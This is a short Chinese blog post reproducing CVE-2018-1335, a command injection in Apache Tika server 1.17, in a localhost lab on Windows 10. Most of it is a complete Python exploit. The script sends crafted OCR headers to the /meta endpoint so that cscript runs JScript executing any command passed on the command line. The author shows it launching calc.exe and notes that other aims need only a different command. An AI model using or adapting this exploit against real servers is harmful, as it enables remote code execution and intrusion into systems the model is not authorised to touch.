这是一枚Apache Tika中的命令注入
我这里靶机是win10,攻击机是win10的linux子系统。关于这个环境,请看我的另一篇博文这里。所以这里我的IP都是localhost
在靶机上下载漏洞环境:
wget https://archive.apache.org/dist/tika/tika-server-1.17.jar
在靶机上运行漏洞环境:
java -jar tika-server-1.17.jar
以下是payload,基于py3
还在用py2的同学只需要改print函数,去掉括号即可。
在攻击机上保存为CVE-2018-1335.py
import sys
import requests
if len(sys.argv) < 4:
print("Usage: python CVE-2018-1335.py <host> <port> <command>")
print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
url = host+":"+str(port)+"/meta"
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)
try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")
攻击机运行python3 CVE-2018-1335.py localhost 9998 calc.exe成功弹出计算器。
需要达成其他目的,只需要修改command部分。复杂的操作还是要修改payload。